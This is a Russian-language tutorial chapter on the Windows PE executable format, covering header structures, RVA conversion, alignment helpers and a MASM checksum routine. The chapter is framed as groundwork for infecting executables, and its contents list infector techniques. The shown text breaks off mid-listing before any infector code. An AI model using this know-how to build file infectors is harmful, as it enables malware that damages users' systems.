Welcome to The Passion Of Code Laboratory!!!Статьи

“От зеленого к красному”

Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов.

Автор: Bill Prisoner / TPOC

Содержание

Общий вид PE-файла
Терминология применимая для файлов PE-формата
DOS-MZ заголовок
Файловый заголовок
Опциональный заголовок
Работа с заголовками PE-файла
Работа с таблицей директорий
Таблица секций
Работа с таблицей секций
Таблица Экспорта
Как происходит экспорт
Передача экспорта
Работа с таблицей экспорта
Таблица импорта
Структуры и термины импорта
Стандартный механизм импорта
Пример работы с таблицей импорта
Биндинг
Bound-импорт
Пример работы с Bound-импортом
Delay-импорт
Пример работы с Delay-импортом.
Особенности импорта на конкретных реализациях загрузчиков
Базовые поправки
Пример работы с базовыми поправками.
Программа PE Inside Console Version
Программа PE Inside v0.5alfa
PE64
Домашнее задание
Способы внедрения внутрь исполняемого файла
Поиск файлов
Проверка PE-файла на правильность
Способ 1. Внедрение в заголовок
Получение важных частей отображения
Переход на старый AddressOfEntryPoint
Код инфектора
Способ 2. Запись в конец последней секции
Итоговый размер файла
Код инфектора
Способ 3. Добавление новой секции
Код инфектора
Способ 4. Удаление базовых поправок
Продвинутые приемы при заражении PE-файлов
Резюме

Введение

             В этой главе мы исследуем формат исполняемых файлов в операционной системе Windows. Все факты, которые будут касаться этого изложения подходят для ОС Windows XP c установленным SP2. Но большинство фактов распространяются на всю платформу Win32. Я буду рассматривать все поля PE-формата полностью. Я привожу здесь описания используемых структур, для того чтобы Вы могли использовать этот документ и как справочник.

            Формат PE(Portable Executable) – это переносимый исполняемый формат файлов. Переносимым он является потому, что он единственный для всех операционных систем Windows(9x,NT). Есть форматы и другие, но для платформы Win32 этот формат является единственным.

            PE-формат впервые был использован в ОС Windows 3.1. Он был стандартизирован в 1993 году и базируется на формате COFF(Common Object File Format), который использовался в нескольких UNIX и VMS. Приступим, сначала рассмотрим общий вид PE-файла, чтобы Вы имели представление о нем.

Общий вид PE-файла

            PE-файл в самом своем начале содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2 она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS. Эта структура определена так:
typedef struct _IMAGE_NT_HEADERS
{
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}

            Почти все определения структур PE-файла Вы можете узнать из заголовочного файла WINNT.H, который поставляется вместе с какой-нибудь средой программирования.

                Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение IMAGE_NT_SIGNATURE. Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. Мы рассмотрим файловый заголовок в соответствующем разделе. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. В конце опционального заголовка содержится массив элементов DataDirectory. Он служит для доступа к некоторым сущностям, которые могут быть секциями (о секциях далее), а могут и не быть. В общем случае эти сущности называются – директориями. После опционального заголовка начинается таблица секций. В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не измениться (если там не присутствует проверка контрольной суммы etc.). Вы можете посмотреть, как выглядит PE-файл на рисунке, тогда Вы поймете, о чем я говорил в этом разделе:

Терминология применимая для файлов PE-формата

Секция – непрерывный набор страниц памяти с одинаковыми атрибутами. Бывают секции кода, данных, ресурсов и т.д. Обычно данные делятся на секции, если предполагается, что они будут использоваться одинаковым образом, т.е. например, только для чтения или только для записи. Также, данные могут делиться на секции в зависимости от того, что, представляют из себя, эти данные, например ресурсы или таблица импорта. В общем случае может быть, например 12 секций с одинаковыми атрибутами, и используемые для кода. Мы вправе сами создавать секции, указывая это компиляторам. С другой стороны секция это отдельная сущность PE-файла. Вы только прочтите, что пишут Microsoft в спецификации PE/COFF формата, что такое секция:

«A section is the basic unit of code or data within a PE/COFF file. In an object file, for example, all code can be combined within a single section, or (depending on compiler behavior) each function can occupy its own section. With more sections, there is more file overhead, but the linker is able to link in code more selectively. A section is vaguely similar to a segment in Intel 8086 architecture. All the raw data in a section must be loaded contiguously. In addition, an image file can contain a number of sections, such as .tls or .reloc, that have special purposes»

Прочтите внимательно, Microsoft – звери хитрые, просто так писать ничего не будут, да и НЕ писать тоже. Хотя, время текет и все устаревает.

          VA (Virtual Address) – виртуальный адрес. Адрес в адресном пространстве текущего процесса.

         RVA (Relative Virtual Address) – относительный виртуальный адрес. При загрузке PE-файла, ОС использует механизм файлового мэппинга(File Mapping). Т.е. она проецирует данный exe, dll, sys или scr файл по какому-то адресу в виртуальном адресном пространстве. Адрес начала проекции называется базовым адресом в памяти данного exe, dll, sys или scr файла. А смещение относительно базового адреса называется – относительным виртуальным адресом. Например, EXE-файл спроецирован по адресу 400000H. Тогда если PE-заголовок находиться по адресу 4000E0H, то RVA PE-заголовка будет E0. В PE-заголовке очень много параметров указываются через RVA. А если RVA начала инструкций в файле есть 1000H, то виртуальный адрес будет равен 401000H учитывая, что база 400000H. Чтобы посчитать относительный виртуальный адрес по данному виртуальному адресу используется следующая формула:

                                RVA = VA - IMAGE_OPTIONAL_HEADER.ImageBase                             (1)

Иногда возникает необходимость посчитать файловое смещение соответствующее VA или RVA. Если требуется смещение внутри секции, используется следующая формула:

         offset = RVA – IMAGE_SECTION_HEADER.VirtualAddress + IMAGE_SECTION_HEADER.PointerRawData      (2)
Значения IMAGE_SECTION_HEADER.VirtualAddress и IMAGE_SECTION_HEADER.PointerRawData берутся из таблицы секций, которая соответствует секции RVA секции.

Если смещение находится вне секции, т.е. в заголовке, таблице секций или еще где-нибудь, то естественно файловое смещение равно RVA. Вот код функции, которая возвращает файловое смещение в зависимости от RVA:

//Base – файл проецируется в память, это его база
//RVA – значение, которое нужно преобразовать в Offset
DWORD RVAtoOffset(DWORD Base,DWORD RVA)
{
PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)((long)Base+((PIMAGE_DOS_HEADER)Base)->e_lfanew);
short NumberOfSection=pPE->FileHeader.NumberOfSections;
long SectionAlign=pPE->OptionalHeader.SectionAlignment;
PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER)(pPE->FileHeader.SizeOfOptionalHeader+(long)&(pPE->FileHeader)+sizeof(IMAGE_FILE_HEADER));
long VirtualAddress,PointerToRawData;
bool flag=false;
for (int i=0;i<NumberOfSection;i++)
{
if ((RVA>=(Section->VirtualAddress))&&(RVA<Section->VirtualAddress+ALIGN_UP((Section->Misc.VirtualSize),SectionAlign) ))
{
VirtualAddress=Section->VirtualAddress;
PointerToRawData=Section->PointerToRawData;
flag=true;
break;
}
Section++;
}
if (flag) return RVA-VirtualAddress+PointerToRawData;
else return RVA;
}

Макрос ALING_UP определен при описании параметра SectionAlignment в опциональном заголовке. Кстати, с помощью CreateFileMapping можно спроецировать файл как PE, т.е. кусками по секциям, а не как  сплошной файл. Это делается так:

HANDLE hFile=CreateFile("c:\\regedit.exe",GENERIC_WRITE | GENERIC_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
HANDLE hMapping=CreateFileMapping(hFile,NULL,PAGE_READWRITE | SEC_IMAGE,0,0,NULL);
HANDLE hMap=MapViewOfFile(hMapping,FILE_MAP_ALL_ACCESS,0,0,0);

Параметр SEC_IMAGE указывает, что проецировать файл надо как исполняемый. Естественно мы  будем только так проецировать файлы при заражении, чтобы не высчитывать соответствий смещения в файле и RVA.

IAT – таблица адресов импорта. Массив двойных слов, содержащие RVA импортируемых функций.

INT – таблица импортируемых имен. Массив двойных слов, каждое из которых является RVA на ASCIIZ-строку с импортируемой функцией.

DOS-MZ заголовок

          В начале файла располагается DOS-MZ заголовок. Он определен следующим образом:

typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
       WORD e_magic; // Magic number
       WORD e_cblp; // Bytes on last page of file
       WORD e_cp; // Pages in file
       WORD e_crlc; // Relocations
       WORD e_cparhdr; // Size of header in paragraphs
       WORD e_minalloc; // Minimum extra paragraphs needed
       WORD e_maxalloc; // Maximum extra paragraphs needed
       WORD e_ss; // Initial (relative) SS value
       WORD e_sp; // Initial SP value
       WORD e_csum; // Checksum
       WORD e_ip; // Initial IP value
       WORD e_cs; // Initial (relative) CS value
       WORD e_lfarlc; // File address of relocation table
       WORD e_ovno; // Overlay number
       WORD e_res[4]; // Reserved words
       WORD e_oemid; // OEM identifier (for e_oeminfo)
       WORD e_oeminfo; // OEM information; e_oemid specific
       WORD e_res2[10]; // Reserved words
       LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER

Все что нас интересует здесь - это только одно значение - e_lfanew. Это двойное слово является RVA и указывает на структуру IMAGE_NT_HEADERS. Размер DOS-MZ заголовка составляет 80 байт.

Файловый заголовок

Файловый заголовок находиться в PE-файле сразу же после сигнатуры IMAGE_NT_SIGNATURE. В файле WINNT.H она определена как 00004550H. Файловый заголовок содержит наиболее общую информацию о данном файле. В файле WINNT.H файловый заголовок определен следующим образом:

typedef struct _IMAGE_FILE_HEADER {
       WORD Machine;
       WORD NumberOfSections;
       DWORD TimeDateStamp;
       DWORD PointerToSymbolTable;
       DWORD NumberOfSymbols;
       WORD SizeOfOptionalHeader;
       WORD Characteristics;
} IMAGE_FILE_HEADER;

Давайте рассмотрим по порядку данные поля.

 

WORD Machine;

Два байта содержащие платформу, для которой создавался данный PE-файл. Возможные значения приведены ниже.

#define IMAGE_FILE_MACHINE_UNKNOWN 0
#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386.
#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian
#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian
#define IMAGE_FILE_MACHINE_R10000     0x0168 // MIPS little-endian
#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2
#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP
#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian
#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian
#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian
#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian
#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian
#define IMAGE_FILE_MACHINE_THUMB 0x01c2
#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64
#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS
#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS
#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64
#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64
#define IMAGE_FILE_MACHINE_CEF 0xC0EF

ОС Windows поддерживает только две архитектуры и все они - процессоров Intel IA-32, IA-64. Исходя из этого, только два значения считаются корректными в PE-файле IMAGE_FILE_MACHINE_IA64 и IMAGE_FILE_MACHINE_I386. Если Вы подставите чего-либо другое, загрузчик откажется загружать данный файл. Да и то для 32х разрядных операционных систем (т.е. работающих с 32х разрядными процессорами) – значение единственное - IMAGE_FILE_MACHINE_I386. Очень интересно еще и то, что в официальной спецификации о некоторых значениях просто умалчивается, просто умалчивается и все!

WORD    NumberOfSections;

Количество секций в PE-файле. Значение должно быть верным. Фактически означает число элементов в таблице секций.

DWORD   TimeDateStamp;

Информация о времени, когда был собран данный PE-файл. Это значение равно количеству секунд прошедших с 1 января 1970 года до времени создания файла. В стандартной библиотеке Си есть замечательная функция gmtime, которая переводит время из секунд в удобочитаемый вид. Она берет указатель на DWORD – количество секунд и заполняет структуру tm, определенную в time.h. Эта структура выглядит следующим образом:

struct tm {
       int tm_sec; /* Секунды */
       int tm_min; /* Минуты */
       int tm_hour; /* Часы (0--23) */
       int tm_mday; /* День месяца (1--31) */
       int tm_mon; /* Месяц (0--11) */
       int tm_year; /* Год (минус 1900) */
       int tm _wday; /* День недели (0--6; Sunday = 0) */
       int tm_yday; /* День года (0--365) */
       int tm_isdst; /* связано с переход на летнее время */
};

Чтобы узнать какой дате это число соответствует, используйте следующую функцию
void printTimeStamp(DWORD x)

{

    struct tm* Time=gmtime((const long *)&x);  

    printf("Year:%d\nMonth:%d\nDay:%d\n",Time->tm_year+1900,Time->tm_mon,Time->tm_mday);

}

X – значение поля TimeDateStamp. Чтобы использовать данную функцию необходимо подключить заголовочный файл time.h.

 

DWORD   PointerToSymbolTable;

Указатель на COFF-таблицу символов PE-формата. Эту же информацию можно найти в элементе массива DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_DEBUG. Если Вы вдруг не знали, то отладочная информация нужна только для отладчика. Отсюда следует, что мы может размещать в этом поле любое значение.

 

DWORD   NumberOfSymbols;

Количество символов в COFF-таблице символов. Может принимать любое значение.

 

WORD    SizeOfOptionalHeader;

Размер опционального заголовка. Опциональный заголовок следует сразу же за файловым заголовком. Размер опционального заголовка зависит от массива DataDirectory, а именно от количества элементов в нем. Обычно в нем 16 элементов, но могут быть и неожиданности. Это поле проверяется загрузчиком и должно быть правильным.

 

WORD    Characteristics;

Характеристики – это атрибуты специфичные для данного PE-файла. Поле Characteristics 16 битное поле и каждый установленный бит представляет из себя отдельный флаг. Знаете, я не ленив, и опишу все возможные флаги подробно. Конечно, большинство из них не используются в данное время, ведь PE-формат был создан в 1993 году. С этого времени много вещей стали не важны. Но это информация общеобразовательная. Прочитайте, если Вы хотите быть более гибки в области операционных систем.

Определены следующие значения:
#define IMAGE_FILE_FS_STRIPPED 0x0001

В файле отсутствует информация о базовых поправках. Этот флаг не используется в исполняемых файлах. Вместо этого информация о базовых поправках храниться в каталоге, на который указывает элемент в массиве DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_BASERELOC.

 

#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002

Файл является исполняемым  (т.е. не содержит нераспознанных внешних ссылок). Если файл является исполняемым, то он не является объектным файлом или библиотекой.

 

#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004

В файле отсутствуют номера строк. Это значение не используется в исполняемых файлах.

 

#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008

Локальные символы отсутствуют в файле. Это значение не используется в исполняемых файлах.

 

#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010

Этот флаг установлен, если операционная система ограничивает программу памятью, агрессивно сбрасывая данные приложения в страничный файл. Этот флаг устанавливается для приложений, которые большую часть своего времени ждут, лишь очень редко пробуждаясь.

 

#define IMAGE_FILE_LARGE_ADDRESS_AWARE  0x0020

Флаг, чтобы приложение могла работать с объемом памяти больше 2 или 3 Гб (в зависимости от загрузочного параметра).

 

#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080
и
#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000

Эти флаги устанавливаются если порядок байт в конце файла, отличен от порядка байт для текущей архитектуры. Т.к. порядок байт в процессорах Intel одинаковый, то этот параметр в данное время не используется.

 

#define IMAGE_FILE_32BIT_MACHINE 0x0100

Этот флаг установлен, если предполагается, что машина 32- разрядная. Вероятно, если файл будет собран при помощи 64-разраного линкера, то этот флаг не будет установлен.

 

#define IMAGE_FILE_DEBUG_STRIPPED 0x0200

Отладочная информация отсутствует в файле. Этот параметр не используется для исполняемых файлов.

 

#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400

Этот флаг установлен, если приложение может не запуститься с переносного носителя, дискеты или CD-ROM. В этом случае ОС переносит данные исполняемый файл в файл подкачки и считывает его оттуда. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на подобном съемном носителе.

 

#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800

Флаг установлен, если приложение может не запуститься по сети. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на общем сетевом ресурсе.

 

#define IMAGE_FILE_SYSTEM 0x1000

Этот флаг установлен, если данный файл является системным, подобно драйверу. В настоящее время не используется.

 

#define IMAGE_FILE_DLL 0x2000

Данный файл – это динамически подключаемая библиотека(Dinamic Link Library). Каждая DLL обязана иметь этот флаг, иначе она не загрузиться. Этот флаг может использоваться EXE, и при этом быть корректным исполняемым файлом.

 

#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000

Этот флаг установлен, если приложение не предназначено для многопроцессорных платформ.

 

Главные поля в файловом заголовке – это количество секций и размер опционального заголовка. Остальные нужны очень редко или не нужны вовсе.

Опциональный заголовок

В опциональном заголовке храниться более специфическая информация о приложении и его потребностях. Я не хочу утомлять Вас, но если Вы это читаете, то будьте добры читать все. Здесь я опишу все поля опционального заголовка. В любом случае тонкости PE-формата нам пригодятся. А где пригодятся, Вы узнаете в этой главе. Следите внимательно.

В WINNT.H опциональный заголовок – это структура IMAGE_OPTIONAL_HEADER. Она определена следующим образом:

typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Стандартные поля
//
 
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
 
//
// дополнительные поля NT
//
 
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

      Как Вы уже, наверное, заметили, опциональный заголовок абстрактно делится на две части: стандартные поля и дополнительные поля NT. Естественно на реализации это деление не отражается. Рассмотрим поля по порядку. Кстати, опциональный заголовок так называется, потому что, если рассматривать в общем стандарт PE/COFF файлов, то для объектных файлов COFF-формата он отсутствует. Для исполняемых файлов этот заголовок является обязательным. А то некоторые авторитетные товарищи удивляются, почему этот заголовок называется опциональным. А это написано черным по белому в спецификации Microsoft PE-формата. Размер опционального заголовка не является фиксированным и чтобы узнать его надо обратиться к файловому заголовку.

 

WORD    Magic;

Это слово служит, чтобы проверить для какой версии спецификации PE этот опциональный заголовок. Возможные значения:

#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b

Для спецификации PE32

 

#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b

Для спецификации PE64

 

#define IMAGE_ROM_OPTIONAL_HDR_MAGIC 0x107

Если исполняемый файл после проекции его загрузчиком будет только для чтения. Не используется в настоящее время.

 

Для 32х разрядных ОС есть одно возможное значение - IMAGE_NT_OPTIONAL_HDR32_MAGIC

 

BYTE    MajorLinkerVersion;

Старшее слово версии линковщика, создавшего данный файл. Может быть любым.

 

BYTE    MinorLinkerVersion;

Младшее слово версии линковщика, создавшего данный файл. Может быть любым.

 

DWORD   SizeOfCode;

Размер секции кода или сумма всех секций кода. В Windows XP SP2 может быть любым, на остальных ОС надо тестировать отдельно, но, скорее всего, дело обстоит точно также. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.

 

DWORD   SizeOfInitializedData;

Размер секции с инициализированными данными. То же самое, что и с прошлым параметром.

 

DWORD   SizeOfUninitializedData;

Размер секции с неинициализированными данными. То же самое, что и с прошлым параметром.

 

DWORD   AddressOfEntryPoint;

Адрес, с которого начинают считываться инструкции для выполнения. Адрес является RVA. Чтобы указать на адрес ниже базового можно использовать отрицательные значения, т.е. в дополнительном коде. По-другому это называется - целочисленное переполнение.

 

DWORD   BaseOfCode;

RVA откуда начинаются секция(и) кода исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.

 

DWORD   BaseOfData;

RVA откуда начинаются секция(и) данных исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками.

 

DWORD   ImageBase;

При запуске PE-файла он будет отображен по частям, начиная с некоторого адреса в памяти. Адрес отображения называется базовым адресом для данного файла. В данном поле храниться базовый адрес PE-файла. Этот файл естественно является VA. От него отсчитываются все RVA. Еcли файл не загружается по каким-то причинам (по этому адресу помять уже зарезервирована) по данному адресу, то загрузчику необходимо применять базовые поправки. Обычно файл загружается по базовому адресу и базовые поправки не нужны. Это позволяет использовать базовые поправки в своих целях. Для компоновщиков, по умолчанию устанавливается базовый адрес 400000H.

 

DWORD   SectionAlignment;

Секция при загрузке PE-файла в память будет начинаться с адреса кратного данной величине. Вот ограничения данного поля. 1) Это значение представляет собой степень двойки. 2) SectionAlignment>=FileAlignment. Пусть нам дано значение адреса. Нам надо получить выровненное значение в соответствии с выравниванием. Для этого можно использовать следующую формулу:

    z = (x + (y-1))&(~(y-1))               (3),

где x – выравниваемое значение, y – выравнивающий фактор.

Посмотрите на пример функции, которое выравнивает вверх нужное значение:

;=========================================

;Процедура GetAlignUP

;Получение выровненного-вверх значения

;Вход:  esi - значение для выравнивания

;          edi - выравнивающий фактор

;Выход:eax - выровненное значение

;=========================================

GetAlignUp proc

            push esi

            push edi

            dec edi

            add esi,edi

            not edi

            and esi,edi

            mov eax,esi

            pop edi

            pop esi

            ret                   

GetAlignUp endp

;=========================================

;Конец процедуры GetAlignUP

;=========================================

Вот процедура, которая выравнивает вниз нужное значение:

;=========================================

;Процедура GetAlignDown
;Получение выровненного-вниз значения
;Вход: esi - значение для выравнивания
; edi - выравнивающий фактор
;Выход:eax - выровненное значение
;=========================================

GetAlignDown proc
push esi
push edi
 
dec edi
not edi
and esi,edi
mov eax,esi
 
pop edi
pop esi
ret
GetAlignDown endp
;=========================================

;Конец процедуры GetAlignDown
;=========================================

А вот макросы на Си делающие то же самое:

#define ALIGN_DOWN(x, align) (x & ~(align-1))//выравнивание вниз
#define ALIGN_UP(x, align) ((x & (align-1))?ALIGN_DOWN(x,align)+align:x)//выравнивание вверх

 

DWORD   FileAlignment;

Эта величина соответствует смещению секций в файле. Размер каждой секции кратен данной величине. Вот ограничения данного поля: 1) Это значение представляет собой степень двойки. 2) Должно быть между 200H и 10000H. 3) SectionAlignment>=FileAlignment. Вы также можете использовать функцию GetAlign для получения выровненного значения.

 

WORD    MajorOperatingSystemVersion;

WORD    MinorOperatingSystemVersion;

Версия ОС, для которой данный файл предназначен. Совершенно никем не проверяемое поле. Может быть любым, но лучше чтобы не нулевое, а то кто-то ругался (привет Hard Wisdom!)

 

WORD    MajorImageVersion;

WORD    MinorImageVersion;

Это поле специально для того, чтобы программист создающий программу мог указать версию исполняемого образа. Может быть любым.

 

WORD    MajorSubsystemVersion;

WORD    MinorSubsystemVersion;

Поле содержит самую старую версию подсистемы, позволяющую запускать данный файл. Должно быть правильным.

 

DWORD   Win32VersionValue;

Зарезервировано. Может быть любым.

 

DWORD   SizeOfImage;

Содержит общий размер всех частей отображения. Важно, что загрузчик проверяет значение этого поля по следующей формуле:

                               SizeOfImage = VirtualSize + VirtualAddress      (4),

где VirtualSize и VirtualAddress значения соответствующие последней секции

 

DWORD   SizeOfHeaders;

Размер заголовков. Вычисляется по формуле

                            SizeOfHeaders = DOS Stub + PE Header + Object Table    (5)

Кратно значению FileAlignment. Должно быть корректным.

 

DWORD   CheckSum;

Контрольная сумма образа файла. Для обычных исполняемых файлов контрольная сумма не проверяется, т.е. может быть любой. Если она нулевая, то она тоже может быть любой. Для всех системных DLL должна быть корректная. Алгоритм контрольной суммы не является закрытым как говорят некоторые. Чтобы получить контрольную сумму данного исполняемого файла надо вызвать функцию CheckSumMappedFile с соответствующими параметрами. Эта функция доступна из библиотеки imagehlp.dll. В этой библиотеке содержится набор функций чтобы работать с PE-файлами. Но нам с Вами эти дурацкие библиотеки не нужны, т.к. мы делаем все вручную (почти все :)). Научитеcь делать сначала вручную, потом используйте свои библиотеки и свой очень компактный, и очень маленький код. Библиотека imagehlp.dll входит в состав ОС и прототипы соответствующих функций содержатся в Imagehlp.h. В статье «Make your own CheckSumMappedFile» by Bumblebee/29a обсуждается, как сделать свою функцию CheckSumMappedFile, но, к сожалению, то что сделал Bumblebee не работает :( Я подправил его код и получилась рабочая функция. Ниже в листинге приведена функция и пример ее использования.

;===============================================================
;
; Реализация собственной функции CheckSumMappedFile
;
;===============================================================
 
.386
option casemap:none
.model flat,stdcall
include \tools\masm32\include\windows.inc
includelib \tools\masm32\lib\kernel32.lib
include \tools\masm32\include\kernel32.inc
.data
hFile dd 0
hMapping dd 0
hMap dd 0
Name1 db "C:\\kernel32.dll",0
HeaderSum dd 0fffh
CheckSum dd 0
.code
start:
invoke CreateFile,offset Name1,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile,eax
 
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL
mov hMapping,eax
invoke MapViewOfFile,hMapping,FILE_MAP_ALL_ACCESS,0,0,0
mov hMap,eax
invoke GetFileSize,hFile,NULL
 
push offset CheckSum
push offset HeaderSum
push eax
push hMap
call CheckSumMappedFile ; Вычисление контрольной суммы
;после этого вызова в eax - окажется контрольная сумма файла с именем Name1
invoke ExitProcess,0
 
CheckSumMappedFile:;код самой функции
assume fs:nothing
mov eax, dword ptr fs:[00000000]
push ebp
mov ebp, esp
push -00000001
push 7D6C61C0h
push 7D6C4598h
push eax
mov eax, dword ptr [ebp+10h]
mov dword ptr fs:[00000000], esp
sub esp, 00000010h
push ebx
push esi
push edi
xor esi, esi
mov dword ptr [ebp-18h], esp
mov dword ptr [eax], esi
mov eax, dword ptr [ebp+0Ch] ;размер файла
inc eax
shr eax, 1
push eax
push dword ptr [ebp+08h]
push esi
      call func0

 
mov word ptr [ebp-1Ah], ax
mov dword ptr [ebp-04h], esi
mov eax,dword ptr [ebp+08h]
assume eax:ptr IMAGE_DOS_HEADER
mov ecx,dword ptr [eax].e_lfanew
add eax,ecx
mov dword ptr [ebp-20h], eax
jmp saltito0
mov eax, 00000001
ret
 
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-20h], 00000000
 
saltito0:
mov dword ptr [ebp-04h], 0FFFFFFFFh
cmp dword ptr [ebp-20h], 000000000h
je saltito1
mov eax, dword ptr [ebp+08h]
cmp dword ptr [ebp-20h], eax
je   saltito1
mov esi, dword ptr [ebp-20h]
mov ecx, dword ptr [ebp+10h]
add esi, 00000058h
mov edx, 00000001h
mov eax, dword ptr [esi]
mov dword ptr [ecx], eax
mov ecx, edx
mov ax, word ptr [esi]
cmp word ptr [ebp-1Ah], ax
adc ecx, -00000001
sub word ptr [ebp-1Ah], cx
sub word ptr [ebp-1Ah], ax
mov ax, word ptr [esi+02h]
cmp word ptr [ebp-1Ah], ax
adc edx, -00000001
sub word ptr [ebp-1Ah], dx
sub word ptr [ebp-1Ah], ax
 
saltito1:
movzx ecx, word ptr [ebp-1Ah]
add ecx, dword ptr [ebp+0Ch]
mov eax, dword ptr [ebp+14h]
pop edi
pop esi
pop ebx
mov dword ptr [eax], ecx
mov eax, dword ptr [ebp-20h]
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000], ecx
mov esp, ebp
pop ebp
ret 0010h
func0:
push esi
mov ecx, dword ptr [esp+10h]
mov esi, dword ptr [esp+0Ch]
mov eax, dword ptr [esp+08h]
shl ecx, 1
je func0_saltito0
test esi, 00000002
je func0_saltito1
sub edx, edx
mov dx, word ptr [esi]
add eax, edx
adc eax, 00000000
add esi, 00000002
sub ecx, 00000002
 
func0_saltito1:
mov edx, ecx
and edx, 00000007
sub ecx, edx
     je func0_saltito2
test ecx, 00000008
je func0_saltito3
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, 00000000
add esi, 00000008
sub ecx, 00000008
je func0_saltito2
 
func0_saltito3:
test ecx, 00000010h
je func0_saltito4
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, 00000000h
add esi, 00000010h
sub ecx, 00000010h
je func0_saltito2
 
func0_saltito4:
test ecx, 00000020h
je func0_saltito5
add eax, dword ptr [esi]
 
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, 00000000h
add esi, 00000020h
sub ecx, 00000020h
je func0_saltito2
 
func0_saltito5:
test ecx, 00000040h
je func0_saltito6
add eax, dword ptr [esi]
 
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, dword ptr [esi+20h]
adc eax, dword ptr [esi+24h]
